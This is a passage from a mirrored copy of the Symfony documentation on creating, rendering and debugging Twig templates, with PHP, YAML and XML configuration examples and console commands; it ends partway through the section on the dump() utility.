mirror of
https://github.com/symfony/symfony-docs.git
synced 2026-03-23 16:22:10 +01:00
1722 lines
61 KiB
ReStructuredText
1722 lines
61 KiB
ReStructuredText
Creating and Using Templates
|
|
============================
|
|
|
|
A template is the best way to organize and render HTML from inside your application,
|
|
whether you need to render HTML from a :doc:`controller </controller>` or generate
|
|
the :doc:`contents of an email </mailer>`. Templates in Symfony are created with
|
|
Twig: a flexible, fast, and secure template engine.
|
|
|
|
Installation
|
|
------------
|
|
|
|
In applications using :ref:`Symfony Flex <symfony-flex>`, run the following command
|
|
to install both Twig language support and its integration with Symfony applications:
|
|
|
|
.. code-block:: terminal
|
|
|
|
$ composer require symfony/twig-bundle
|
|
|
|
.. _twig-language:
|
|
|
|
Twig Templating Language
|
|
------------------------
|
|
|
|
The `Twig`_ templating language allows you to write concise, readable templates
|
|
that are more friendly to web designers and, in several ways, more powerful than
|
|
PHP templates. Take a look at the following Twig template example. Even if it's
|
|
the first time you see Twig, you probably understand most of it:
|
|
|
|
.. code-block:: html+twig
|
|
|
|
<!DOCTYPE html>
|
|
<html>
|
|
<head>
|
|
<title>Welcome to Symfony!</title>
|
|
</head>
|
|
<body>
|
|
<h1>{{ page_title }}</h1>
|
|
|
|
{% if user.isLoggedIn %}
|
|
Hello {{ user.name }}!
|
|
{% endif %}
|
|
|
|
{# ... #}
|
|
</body>
|
|
</html>
|
|
|
|
Twig syntax is based on these three constructs:
|
|
|
|
* ``{{ ... }}``, used to display the content of a variable or the result of
|
|
evaluating an expression;
|
|
* ``{% ... %}``, used to run some logic, such as a conditional or a loop;
|
|
* ``{# ... #}``, used to add comments to the template (unlike HTML comments,
|
|
these comments are not included in the rendered page).
|
|
|
|
You can't run PHP code inside Twig templates, but Twig provides utilities to
|
|
run some logic in the templates. For example, **filters** modify content before
|
|
being rendered, like the ``upper`` filter to uppercase contents:
|
|
|
|
.. code-block:: twig
|
|
|
|
{{ title|upper }}
|
|
|
|
Twig comes with a long list of `tags`_, `filters`_ and `functions`_ that are
|
|
available by default. In Symfony applications you can also use these
|
|
:doc:`Twig filters and functions defined by Symfony </reference/twig_reference>`
|
|
and you can :ref:`create your own Twig filters and functions <templates-twig-extension>`.
|
|
|
|
Twig is fast in the ``prod`` :ref:`environment <configuration-environments>`
|
|
(because templates are compiled into PHP and cached automatically), but
|
|
convenient to use in the ``dev`` environment (because templates are recompiled
|
|
automatically when you change them).
|
|
|
|
Twig Configuration
|
|
~~~~~~~~~~~~~~~~~~
|
|
|
|
Twig has several configuration options to define things like the format used
|
|
to display numbers and dates, the template caching, etc. Read the
|
|
:doc:`Twig configuration reference </reference/configuration/twig>` to learn about them.
|
|
|
|
Creating Templates
|
|
------------------
|
|
|
|
Before explaining in detail how to create and render templates, look at the
|
|
following example for a quick overview of the whole process. First, you need to
|
|
create a new file in the ``templates/`` directory to store the template contents:
|
|
|
|
.. code-block:: html+twig
|
|
|
|
{# templates/user/notifications.html.twig #}
|
|
<h1>Hello {{ user_first_name }}!</h1>
|
|
<p>You have {{ notifications|length }} new notifications.</p>
|
|
|
|
Then, create a :doc:`controller </controller>` that renders this template and
|
|
passes to it the needed variables::
|
|
|
|
// src/Controller/UserController.php
|
|
namespace App\Controller;
|
|
|
|
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
|
|
use Symfony\Component\HttpFoundation\Response;
|
|
|
|
class UserController extends AbstractController
|
|
{
|
|
// ...
|
|
|
|
public function notifications(): Response
|
|
{
|
|
// get the user information and notifications somehow
|
|
$userFirstName = '...';
|
|
$userNotifications = ['...', '...'];
|
|
|
|
// the template path is the relative file path from `templates/`
|
|
return $this->render('user/notifications.html.twig', [
|
|
// this array defines the variables passed to the template,
|
|
// where the key is the variable name and the value is the variable value
|
|
// (Twig recommends using snake_case variable names: 'foo_bar' instead of 'fooBar')
|
|
'user_first_name' => $userFirstName,
|
|
'notifications' => $userNotifications,
|
|
]);
|
|
}
|
|
}
|
|
|
|
Template Naming
|
|
~~~~~~~~~~~~~~~
|
|
|
|
Symfony recommends the following for template names:
|
|
|
|
* Use `snake case`_ for filenames and directories (e.g. ``blog_posts.html.twig``,
|
|
``admin/default_theme/blog/index.html.twig``, etc.);
|
|
* Define two extensions for filenames (e.g. ``index.html.twig`` or
|
|
``blog_posts.xml.twig``) being the first extension (``html``, ``xml``, etc.)
|
|
the final format that the template will generate.
|
|
|
|
Although templates usually generate HTML contents, they can generate any
|
|
text-based format. That's why the two-extension convention simplifies the way
|
|
templates are created and rendered for multiple formats.
|
|
|
|
Template Location
|
|
~~~~~~~~~~~~~~~~~
|
|
|
|
Templates are stored by default in the ``templates/`` directory. When a service
|
|
or controller renders the ``product/index.html.twig`` template, they are actually
|
|
referring to the ``<your-project>/templates/product/index.html.twig`` file.
|
|
|
|
The default templates directory is configurable with the
|
|
:ref:`twig.default_path <config-twig-default-path>` option and you can add more
|
|
template directories :ref:`as explained later <templates-namespaces>` in this article.
|
|
|
|
Template Variables
|
|
~~~~~~~~~~~~~~~~~~
|
|
|
|
A common need for templates is to print the values stored in the templates
|
|
passed from the controller or service. Variables usually store objects and
|
|
arrays instead of strings, numbers and boolean values. That's why Twig provides
|
|
quick access to complex PHP variables. Consider the following template:
|
|
|
|
.. code-block:: html+twig
|
|
|
|
<p>{{ user.name }} added this comment on {{ comment.publishedAt|date }}</p>
|
|
|
|
The ``user.name`` notation means that you want to display some information
|
|
(``name``) stored in a variable (``user``). Is ``user`` an array or an object?
|
|
Is ``name`` a property or a method? In Twig this doesn't matter.
|
|
|
|
When using the ``foo.bar`` notation, Twig tries to get the value of the variable
|
|
in the following order:
|
|
|
|
#. ``$foo['bar']`` (array and element);
|
|
#. ``$foo->bar`` (object and public property);
|
|
#. ``$foo->bar()`` (object and public method);
|
|
#. ``$foo->getBar()`` (object and *getter* method);
|
|
#. ``$foo->isBar()`` (object and *isser* method);
|
|
#. ``$foo->hasBar()`` (object and *hasser* method);
|
|
#. If none of the above exists, use ``null`` (or throw a ``Twig\Error\RuntimeError``
|
|
exception if the :ref:`strict_variables <config-twig-strict-variables>`
|
|
option is enabled).
|
|
|
|
This allows you to evolve your application code without having to change the
|
|
template code (you can start with array variables for the application proof of
|
|
concept, then move to objects with methods, etc.)
|
|
|
|
.. _templates-link-to-pages:
|
|
|
|
Linking to Pages
|
|
~~~~~~~~~~~~~~~~
|
|
|
|
Instead of writing the link URLs by hand, use the ``path()`` function to
|
|
generate URLs based on the :ref:`routing configuration <routing-creating-routes>`.
|
|
|
|
Later, if you want to modify the URL of a particular page, all you'll need to do
|
|
is change the routing configuration: the templates will automatically generate
|
|
the new URL.
|
|
|
|
Consider the following routing configuration:
|
|
|
|
.. configuration-block::
|
|
|
|
.. code-block:: php-attributes
|
|
|
|
// src/Controller/BlogController.php
|
|
namespace App\Controller;
|
|
|
|
// ...
|
|
use Symfony\Component\HttpFoundation\Response;
|
|
use Symfony\Component\Routing\Attribute\Route;
|
|
|
|
class BlogController extends AbstractController
|
|
{
|
|
#[Route('/', name: 'blog_index')]
|
|
public function index(): Response
|
|
{
|
|
// ...
|
|
}
|
|
|
|
#[Route('/article/{slug}', name: 'blog_post')]
|
|
public function show(string $slug): Response
|
|
{
|
|
// ...
|
|
}
|
|
}
|
|
|
|
.. code-block:: yaml
|
|
|
|
# config/routes.yaml
|
|
blog_index:
|
|
path: /
|
|
controller: App\Controller\BlogController::index
|
|
|
|
blog_post:
|
|
path: /article/{slug}
|
|
controller: App\Controller\BlogController::show
|
|
|
|
.. code-block:: xml
|
|
|
|
<!-- config/routes.xml -->
|
|
<?xml version="1.0" encoding="UTF-8" ?>
|
|
<routes xmlns="http://symfony.com/schema/routing"
|
|
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
|
xsi:schemaLocation="http://symfony.com/schema/routing
|
|
https://symfony.com/schema/routing/routing-1.0.xsd">
|
|
|
|
<route id="blog_index"
|
|
path="/"
|
|
controller="App\Controller\BlogController::index"/>
|
|
|
|
<route id="blog_post"
|
|
path="/article/{slug}"
|
|
controller="App\Controller\BlogController::show"/>
|
|
</routes>
|
|
|
|
.. code-block:: php
|
|
|
|
// config/routes.php
|
|
use App\Controller\BlogController;
|
|
use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
|
|
|
|
return function (RoutingConfigurator $routes): void {
|
|
$routes->add('blog_index', '/')
|
|
->controller([BlogController::class, 'index'])
|
|
;
|
|
|
|
$routes->add('blog_post', '/articles/{slug}')
|
|
->controller([BlogController::class, 'show'])
|
|
;
|
|
};
|
|
|
|
Use the ``path()`` Twig function to link to these pages and pass the route name
|
|
as the first argument and the route parameters as the optional second argument:
|
|
|
|
.. code-block:: html+twig
|
|
|
|
<a href="{{ path('blog_index') }}">Homepage</a>
|
|
|
|
{# ... #}
|
|
|
|
{% for post in blog_posts %}
|
|
<h1>
|
|
<a href="{{ path('blog_post', {slug: post.slug}) }}">{{ post.title }}</a>
|
|
</h1>
|
|
|
|
<p>{{ post.excerpt }}</p>
|
|
{% endfor %}
|
|
|
|
The ``path()`` function generates relative URLs. If you need to generate
|
|
absolute URLs (for example when rendering templates for emails or RSS feeds),
|
|
use the ``url()`` function, which takes the same arguments as ``path()``
|
|
(e.g. ``<a href="{{ url('blog_index') }}"> ... </a>``).
|
|
|
|
.. _templates-link-to-assets:
|
|
|
|
Linking to CSS, JavaScript and Image Assets
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
|
|
If a template needs to link to a static asset (e.g. an image), Symfony provides
|
|
an ``asset()`` Twig function to help generate that URL. First, install the
|
|
``asset`` package:
|
|
|
|
.. code-block:: terminal
|
|
|
|
$ composer require symfony/asset
|
|
|
|
You can now use the ``asset()`` function:
|
|
|
|
.. code-block:: html+twig
|
|
|
|
{# the image lives at "public/images/logo.png" #}
|
|
<img src="{{ asset('images/logo.png') }}" alt="Symfony!">
|
|
|
|
{# the CSS file lives at "public/css/blog.css" #}
|
|
<link href="{{ asset('css/blog.css') }}" rel="stylesheet">
|
|
|
|
{# the JS file lives at "public/bundles/acme/js/loader.js" #}
|
|
<script src="{{ asset('bundles/acme/js/loader.js') }}"></script>
|
|
|
|
Using the ``asset()`` function is recommended for these reasons:
|
|
|
|
* **Asset versioning**: ``asset()`` appends a version hash to asset URLs for
|
|
cache busting. This works both via :doc:`AssetMapper </frontend>` and the
|
|
:doc:`Asset component </components/asset>` (see also the
|
|
:ref:`assets configuration options <reference-assets>`, such as ``version``
|
|
and ``version_format``).
|
|
|
|
* **Application portability**: whether your app is hosted at the root
|
|
(e.g. ``https://example.com``) or in a subdirectory (e.g. ``https://example.com/my_app``),
|
|
``asset()`` generates the correct path (e.g. ``/images/logo.png`` vs ``/my_app/images/logo.png``)
|
|
automatically based on your app's base URL.
|
|
|
|
If you need absolute URLs for assets, use the ``absolute_url()`` Twig function
|
|
as follows:
|
|
|
|
.. code-block:: html+twig
|
|
|
|
<img src="{{ absolute_url(asset('images/logo.png')) }}" alt="Symfony!">
|
|
|
|
<link rel="shortcut icon" href="{{ absolute_url('favicon.png') }}">
|
|
|
|
Build, Versioning & More Advanced CSS, JavaScript and Image Handling
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
|
|
For help building and versioning your JavaScript and
|
|
CSS assets in a modern way, read about :doc:`Symfony's AssetMapper </frontend>`.
|
|
|
|
.. _twig-app-variable:
|
|
|
|
The App Global Variable
|
|
~~~~~~~~~~~~~~~~~~~~~~~
|
|
|
|
Symfony creates a context object that is injected into every Twig template
|
|
automatically as a variable called ``app``. It provides access to some
|
|
application information:
|
|
|
|
.. code-block:: html+twig
|
|
|
|
<p>Username: {{ app.user.username ?? 'Anonymous user' }}</p>
|
|
{% if app.debug %}
|
|
<p>Request method: {{ app.request.method }}</p>
|
|
<p>Application Environment: {{ app.environment }}</p>
|
|
{% endif %}
|
|
|
|
The ``app`` variable (which is an instance of :class:`Symfony\\Bridge\\Twig\\AppVariable`)
|
|
gives you access to these variables:
|
|
|
|
``app.user``
|
|
The :ref:`current user object <create-user-class>` or ``null`` if the user
|
|
is not authenticated.
|
|
``app.request``
|
|
The :class:`Symfony\\Component\\HttpFoundation\\Request` object that stores
|
|
the current :ref:`request data <accessing-request-data>` (depending on your
|
|
application, this can be a :ref:`sub-request <http-kernel-sub-requests>`
|
|
or a regular request).
|
|
``app.session``
|
|
The :class:`Symfony\\Component\\HttpFoundation\\Session\\Session` object that
|
|
represents the current :doc:`user's session </session>` or ``null`` if there is none.
|
|
``app.flashes``
|
|
An array of all the :ref:`flash messages <flash-messages>` stored in the session.
|
|
You can also get only the messages of some type (e.g. ``app.flashes('notice')``).
|
|
``app.environment``
|
|
The name of the current :ref:`configuration environment <configuration-environments>`
|
|
(``dev``, ``prod``, etc).
|
|
``app.debug``
|
|
True if in :ref:`debug mode <debug-mode>`. False otherwise.
|
|
``app.token``
|
|
A :class:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\TokenInterface`
|
|
object representing the security token.
|
|
``app.current_route``
|
|
The name of the route associated with the current request or ``null`` if no
|
|
request is available (equivalent to ``app.request.attributes.get('_route')``)
|
|
``app.current_route_parameters``
|
|
An array with the parameters passed to the route of the current request or an
|
|
empty array if no request is available (equivalent to ``app.request.attributes.get('_route_params')``)
|
|
``app.locale``
|
|
The locale used in the current :ref:`locale switcher <locale-switcher>` context.
|
|
``app.enabled_locales``
|
|
The locales enabled in the application.
|
|
|
|
In addition to the global ``app`` variable injected by Symfony, you can also
|
|
inject variables automatically to all Twig templates as explained in the next
|
|
section.
|
|
|
|
.. _templating-global-variables:
|
|
|
|
Global Variables
|
|
~~~~~~~~~~~~~~~~
|
|
|
|
Twig allows you to automatically inject one or more variables into all
|
|
templates. These global variables are defined in the ``twig.globals`` option
|
|
inside the main Twig configuration file:
|
|
|
|
.. configuration-block::
|
|
|
|
.. code-block:: yaml
|
|
|
|
# config/packages/twig.yaml
|
|
twig:
|
|
# ...
|
|
globals:
|
|
ga_tracking: 'UA-xxxxx-x'
|
|
|
|
.. code-block:: xml
|
|
|
|
<!-- config/packages/twig.xml -->
|
|
<?xml version="1.0" encoding="UTF-8" ?>
|
|
<container xmlns="http://symfony.com/schema/dic/services"
|
|
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
|
xmlns:twig="http://symfony.com/schema/dic/twig"
|
|
xsi:schemaLocation="http://symfony.com/schema/dic/services
|
|
https://symfony.com/schema/dic/services/services-1.0.xsd
|
|
http://symfony.com/schema/dic/twig
|
|
https://symfony.com/schema/dic/twig/twig-1.0.xsd">
|
|
|
|
<twig:config>
|
|
<!-- ... -->
|
|
<twig:global key="ga_tracking">UA-xxxxx-x</twig:global>
|
|
</twig:config>
|
|
</container>
|
|
|
|
.. code-block:: php
|
|
|
|
// config/packages/twig.php
|
|
use Symfony\Config\TwigConfig;
|
|
|
|
return static function (TwigConfig $twig): void {
|
|
// ...
|
|
|
|
$twig->global('ga_tracking')->value('UA-xxxxx-x');
|
|
};
|
|
|
|
Now, the variable ``ga_tracking`` is available in all Twig templates, so you
|
|
can use it without having to pass it explicitly from the controller or service
|
|
that renders the template:
|
|
|
|
.. code-block:: html+twig
|
|
|
|
<p>The Google tracking code is: {{ ga_tracking }}</p>
|
|
|
|
In addition to static values, Twig global variables can also reference services
|
|
from the :doc:`service container </service_container>`. The main drawback is
|
|
that these services are not loaded lazily. In other words, as soon as Twig is
|
|
loaded, your service is instantiated, even if you never use that global
|
|
variable.
|
|
|
|
To define a service as a global Twig variable, prefix the service ID string
|
|
with the ``@`` character, which is the usual syntax to :ref:`refer to services
|
|
in container parameters <service-container-parameters>`:
|
|
|
|
.. configuration-block::
|
|
|
|
.. code-block:: yaml
|
|
|
|
# config/packages/twig.yaml
|
|
twig:
|
|
# ...
|
|
globals:
|
|
# the value is the service's id
|
|
uuid: '@App\Generator\UuidGenerator'
|
|
|
|
.. code-block:: xml
|
|
|
|
<!-- config/packages/twig.xml -->
|
|
<?xml version="1.0" encoding="UTF-8" ?>
|
|
<container xmlns="http://symfony.com/schema/dic/services"
|
|
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
|
xmlns:twig="http://symfony.com/schema/dic/twig"
|
|
xsi:schemaLocation="http://symfony.com/schema/dic/services
|
|
https://symfony.com/schema/dic/services/services-1.0.xsd
|
|
http://symfony.com/schema/dic/twig
|
|
https://symfony.com/schema/dic/twig/twig-1.0.xsd">
|
|
|
|
<twig:config>
|
|
<!-- ... -->
|
|
<twig:global key="uuid" id="App\Generator\UuidGenerator" type="service"/>
|
|
</twig:config>
|
|
</container>
|
|
|
|
.. code-block:: php
|
|
|
|
// config/packages/twig.php
|
|
use Symfony\Config\TwigConfig;
|
|
use function Symfony\Component\DependencyInjection\Loader\Configurator\service;
|
|
|
|
return static function (TwigConfig $twig): void {
|
|
// ...
|
|
|
|
$twig->global('uuid')->value(service('App\Generator\UuidGenerator'));
|
|
};
|
|
|
|
Now you can use the ``uuid`` variable in any Twig template to access to the
|
|
``UuidGenerator`` service:
|
|
|
|
.. code-block:: twig
|
|
|
|
UUID: {{ uuid.generate }}
|
|
|
|
Twig Components
|
|
---------------
|
|
|
|
Twig components are an alternative way to render templates, where each template
|
|
is bound to a "component class". This makes it easier to render and re-use
|
|
small template "units" - like an alert, markup for a modal, or a category sidebar.
|
|
|
|
For more information, see `UX Twig Component`_.
|
|
|
|
Twig components also have one other superpower: they can become "live", where
|
|
they automatically update (via Ajax) as the user interacts with them. For example,
|
|
when your user types into a box, your Twig component will re-render via Ajax to
|
|
show a list of results!
|
|
|
|
To learn more, see `UX Live Component`_.
|
|
|
|
.. _templates-rendering:
|
|
|
|
Rendering Templates
|
|
-------------------
|
|
|
|
Rendering a Template in Controllers
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
|
|
If your controller extends from the :ref:`AbstractController <the-base-controller-class-services>`,
|
|
use the ``render()`` helper::
|
|
|
|
// src/Controller/ProductController.php
|
|
namespace App\Controller;
|
|
|
|
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
|
|
use Symfony\Component\HttpFoundation\Response;
|
|
|
|
class ProductController extends AbstractController
|
|
{
|
|
public function index(): Response
|
|
{
|
|
// ...
|
|
|
|
// the `render()` method returns a `Response` object with the
|
|
// contents created by the template
|
|
return $this->render('product/index.html.twig', [
|
|
'category' => '...',
|
|
'promotions' => ['...', '...'],
|
|
]);
|
|
|
|
// the `renderView()` method only returns the contents created by the
|
|
// template, so you can use those contents later in a `Response` object
|
|
$contents = $this->renderView('product/index.html.twig', [
|
|
'category' => '...',
|
|
'promotions' => ['...', '...'],
|
|
]);
|
|
|
|
return new Response($contents);
|
|
}
|
|
}
|
|
|
|
If your controller does not extend from ``AbstractController``, you'll need to
|
|
:ref:`fetch services in your controller <controller-accessing-services>` and
|
|
use the ``render()`` method of the ``twig`` service.
|
|
|
|
.. _templates-template-attribute:
|
|
|
|
Another option is to use the ``#[Template]`` attribute on the controller method
|
|
to define the template to render::
|
|
|
|
// src/Controller/ProductController.php
|
|
namespace App\Controller;
|
|
|
|
use Symfony\Bridge\Twig\Attribute\Template;
|
|
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
|
|
use Symfony\Component\HttpFoundation\Response;
|
|
|
|
class ProductController extends AbstractController
|
|
{
|
|
#[Template('product/index.html.twig')]
|
|
public function index(): array
|
|
{
|
|
// ...
|
|
|
|
// when using the #[Template] attribute, you only need to return
|
|
// an array with the parameters to pass to the template (the attribute
|
|
// is the one which will create and return the Response object).
|
|
return [
|
|
'category' => '...',
|
|
'promotions' => ['...', '...'],
|
|
];
|
|
}
|
|
}
|
|
|
|
The :ref:`base AbstractController <the-base-controller-classes-services>` also provides the
|
|
:method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::renderBlock`
|
|
and :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::renderBlockView`
|
|
methods::
|
|
|
|
// src/Controller/ProductController.php
|
|
namespace App\Controller;
|
|
|
|
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
|
|
use Symfony\Component\HttpFoundation\Response;
|
|
|
|
class ProductController extends AbstractController
|
|
{
|
|
// ...
|
|
|
|
public function price(): Response
|
|
{
|
|
// ...
|
|
|
|
// the `renderBlock()` method returns a `Response` object with the
|
|
// block contents
|
|
return $this->renderBlock('product/index.html.twig', 'price_block', [
|
|
// ...
|
|
]);
|
|
|
|
// the `renderBlockView()` method only returns the contents created by the
|
|
// template block, so you can use those contents later in a `Response` object
|
|
$contents = $this->renderBlockView('product/index.html.twig', 'price_block', [
|
|
// ...
|
|
]);
|
|
|
|
return new Response($contents);
|
|
}
|
|
}
|
|
|
|
This might come handy when dealing with blocks in
|
|
:ref:`templates inheritance <template_inheritance-layouts>` or when using
|
|
`Turbo Streams`_.
|
|
|
|
Similarly, you can use the ``#[Template]`` attribute on the controller to specify
|
|
a block to render::
|
|
|
|
// src/Controller/ProductController.php
|
|
namespace App\Controller;
|
|
|
|
use Symfony\Bridge\Twig\Attribute\Template;
|
|
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
|
|
use Symfony\Component\HttpFoundation\Response;
|
|
|
|
class ProductController extends AbstractController
|
|
{
|
|
#[Template('product.html.twig', block: 'price_block')]
|
|
public function price(): array
|
|
{
|
|
return [
|
|
// ...
|
|
];
|
|
}
|
|
}
|
|
|
|
.. versionadded:: 7.2
|
|
|
|
The ``#[Template]`` attribute's ``block`` argument was introduced in Symfony 7.2.
|
|
|
|
Rendering a Template in Services
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
|
|
Inject the ``twig`` Symfony service into your own services and use its
|
|
``render()`` method. When using :doc:`service autowiring </service_container/autowiring>`
|
|
you only need to add an argument in the service constructor and type-hint it with
|
|
the `Twig Environment`_::
|
|
|
|
// src/Service/SomeService.php
|
|
namespace App\Service;
|
|
|
|
use Twig\Environment;
|
|
|
|
class SomeService
|
|
{
|
|
public function __construct(
|
|
private Environment $twig,
|
|
) {
|
|
}
|
|
|
|
public function someMethod(): void
|
|
{
|
|
// ...
|
|
|
|
$htmlContents = $this->twig->render('product/index.html.twig', [
|
|
'category' => '...',
|
|
'promotions' => ['...', '...'],
|
|
]);
|
|
}
|
|
}
|
|
|
|
Rendering a Template in Emails
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
|
|
Read the docs about the :ref:`mailer and Twig integration <mailer-twig>`.
|
|
|
|
.. _templates-render-from-route:
|
|
|
|
Rendering a Template Directly from a Route
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
|
|
Although templates are usually rendered in controllers and services, you can
|
|
render static pages that don't need any variables directly from the route
|
|
definition. Use the special :class:`Symfony\\Bundle\\FrameworkBundle\\Controller\\TemplateController`
|
|
provided by Symfony:
|
|
|
|
.. configuration-block::
|
|
|
|
.. code-block:: yaml
|
|
|
|
# config/routes.yaml
|
|
acme_privacy:
|
|
path: /privacy
|
|
controller: Symfony\Bundle\FrameworkBundle\Controller\TemplateController
|
|
defaults:
|
|
# the path of the template to render
|
|
template: 'static/privacy.html.twig'
|
|
|
|
# the response status code (default: 200)
|
|
statusCode: 200
|
|
|
|
# special options defined by Symfony to set the page cache
|
|
maxAge: 86400
|
|
sharedAge: 86400
|
|
|
|
# whether or not caching should apply for client caches only
|
|
private: true
|
|
|
|
# optionally you can define some arguments passed to the template
|
|
context:
|
|
site_name: 'ACME'
|
|
theme: 'dark'
|
|
|
|
# optionally you can define HTTP headers to add to the response
|
|
headers:
|
|
Content-Type: 'text/html'
|
|
foo: 'bar'
|
|
|
|
.. code-block:: xml
|
|
|
|
<!-- config/routes.xml -->
|
|
<?xml version="1.0" encoding="UTF-8" ?>
|
|
<routes xmlns="http://symfony.com/schema/routing"
|
|
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
|
xsi:schemaLocation="http://symfony.com/schema/routing https://symfony.com/schema/routing/routing-1.0.xsd">
|
|
|
|
<route id="acme_privacy"
|
|
path="/privacy"
|
|
controller="Symfony\Bundle\FrameworkBundle\Controller\TemplateController">
|
|
<!-- the path of the template to render -->
|
|
<default key="template">static/privacy.html.twig</default>
|
|
|
|
<!-- the response status code (default: 200) -->
|
|
<default key="statusCode">200</default>
|
|
|
|
<!-- special options defined by Symfony to set the page cache -->
|
|
<default key="maxAge">86400</default>
|
|
<default key="sharedAge">86400</default>
|
|
|
|
<!-- whether or not caching should apply for client caches only -->
|
|
<default key="private">true</default>
|
|
|
|
<!-- optionally you can define some arguments passed to the template -->
|
|
<default key="context">
|
|
<default key="site_name">ACME</default>
|
|
<default key="theme">dark</default>
|
|
</default>
|
|
|
|
<!-- optionally you can define HTTP headers to add to the response -->
|
|
<default key="headers">
|
|
<default key="Content-Type">text/html</default>
|
|
</default>
|
|
</route>
|
|
</routes>
|
|
|
|
.. code-block:: php
|
|
|
|
// config/routes.php
|
|
use Symfony\Bundle\FrameworkBundle\Controller\TemplateController;
|
|
use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
|
|
|
|
return function (RoutingConfigurator $routes): void {
|
|
$routes->add('acme_privacy', '/privacy')
|
|
->controller(TemplateController::class)
|
|
->defaults([
|
|
// the path of the template to render
|
|
'template' => 'static/privacy.html.twig',
|
|
|
|
// the response status code (default: 200)
|
|
'statusCode' => 200,
|
|
|
|
// special options defined by Symfony to set the page cache
|
|
'maxAge' => 86400,
|
|
'sharedAge' => 86400,
|
|
|
|
// whether or not caching should apply for client caches only
|
|
'private' => true,
|
|
|
|
// optionally you can define some arguments passed to the template
|
|
'context' => [
|
|
'site_name' => 'ACME',
|
|
'theme' => 'dark',
|
|
],
|
|
|
|
// optionally you can define HTTP headers to add to the response
|
|
'headers' => [
|
|
'Content-Type' => 'text/html',
|
|
]
|
|
])
|
|
;
|
|
};
|
|
|
|
.. versionadded:: 7.2
|
|
|
|
The ``headers`` option was introduced in Symfony 7.2.
|
|
|
|
Checking if a Template Exists
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
|
|
Templates are loaded in the application using a `Twig template loader`_, which
|
|
also provides a method to check for template existence. First, get the loader::
|
|
|
|
use Twig\Environment;
|
|
|
|
class YourService
|
|
{
|
|
// this code assumes that your service uses autowiring to inject dependencies
|
|
// otherwise, inject the service called 'twig' manually
|
|
public function __construct(Environment $twig)
|
|
{
|
|
$loader = $twig->getLoader();
|
|
}
|
|
}
|
|
|
|
Then, pass the path of the Twig template to the ``exists()`` method of the loader::
|
|
|
|
if ($loader->exists('theme/layout_responsive.html.twig')) {
|
|
// the template exists, do something
|
|
// ...
|
|
}
|
|
|
|
Debugging Templates
|
|
-------------------
|
|
|
|
Symfony provides several utilities to help you debug issues in your templates.
|
|
|
|
Linting Twig Templates
|
|
~~~~~~~~~~~~~~~~~~~~~~
|
|
|
|
The ``lint:twig`` command checks that your Twig templates don't have any syntax
|
|
errors. It's useful to run it before deploying your application to production
|
|
(e.g. in your continuous integration server):
|
|
|
|
.. code-block:: terminal
|
|
|
|
# check all the application templates
|
|
$ php bin/console lint:twig
|
|
|
|
# you can also check directories and individual templates
|
|
$ php bin/console lint:twig templates/email/
|
|
$ php bin/console lint:twig templates/article/recent_list.html.twig
|
|
|
|
# you can also show the deprecated features used in your templates
|
|
$ php bin/console lint:twig --show-deprecations templates/email/
|
|
|
|
# you can also excludes directories
|
|
$ php bin/console lint:twig templates/ --excludes=data_collector --excludes=dev_tool
|
|
|
|
.. versionadded:: 7.1
|
|
|
|
The option to exclude directories was introduced in Symfony 7.1.
|
|
|
|
.. versionadded:: 7.3
|
|
|
|
Before Symfony 7.3, the ``--show-deprecations`` option only displayed the
|
|
first deprecation found, so you had to run the command repeatedly.
|
|
|
|
When running the linter inside `GitHub Actions`_, the output is automatically
|
|
adapted to the format required by GitHub, but you can force that format too:
|
|
|
|
.. code-block:: terminal
|
|
|
|
$ php bin/console lint:twig --format=github
|
|
|
|
Inspecting Twig Information
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
|
|
The ``debug:twig`` command lists all the information available about Twig
|
|
(functions, filters, global variables, etc.). It's useful to check if your
|
|
:ref:`custom Twig extensions <templates-twig-extension>` are working properly
|
|
and also to check the Twig features added when :ref:`installing packages <symfony-flex>`:
|
|
|
|
.. code-block:: terminal
|
|
|
|
# list general information
|
|
$ php bin/console debug:twig
|
|
|
|
# filter output by any keyword
|
|
$ php bin/console debug:twig --filter=date
|
|
|
|
# pass a template path to show the physical file which will be loaded
|
|
$ php bin/console debug:twig @Twig/Exception/error.html.twig
|
|
|
|
.. _twig-dump-utilities:
|
|
|
|
The Dump Twig Utilities
|
|
~~~~~~~~~~~~~~~~~~~~~~~
|
|
|
|
Symfony provides a :ref:`dump() function <components-var-dumper-dump>` as an
|
|
improved alternative to PHP's ``var_dump()`` function. This function is useful
|
|
to inspect the contents of any variable and you can use it in Twig templates too.
|
|
|
|
First, make sure that the VarDumper component is installed in the application:
|
|
|
|
.. code-block:: terminal
|
|
|
|
$ composer require --dev symfony/debug-bundle
|
|
|
|
Then, use either the ``{% dump %}`` tag or the ``{{ dump() }}`` function
|
|
depending on your needs:
|
|
|
|
.. code-block:: html+twig
|
|
|
|
{# templates/article/recent_list.html.twig #}
|
|
{# the contents of this variable are sent to the Web Debug Toolbar
|
|
instead of dumping them inside the page contents #}
|
|
{% dump articles %}
|
|
|
|
{% for article in articles %}
|
|
{# the contents of this variable are dumped inside the page contents
|
|
and they are visible on the web page #}
|
|
{{ dump(article) }}
|
|
|
|
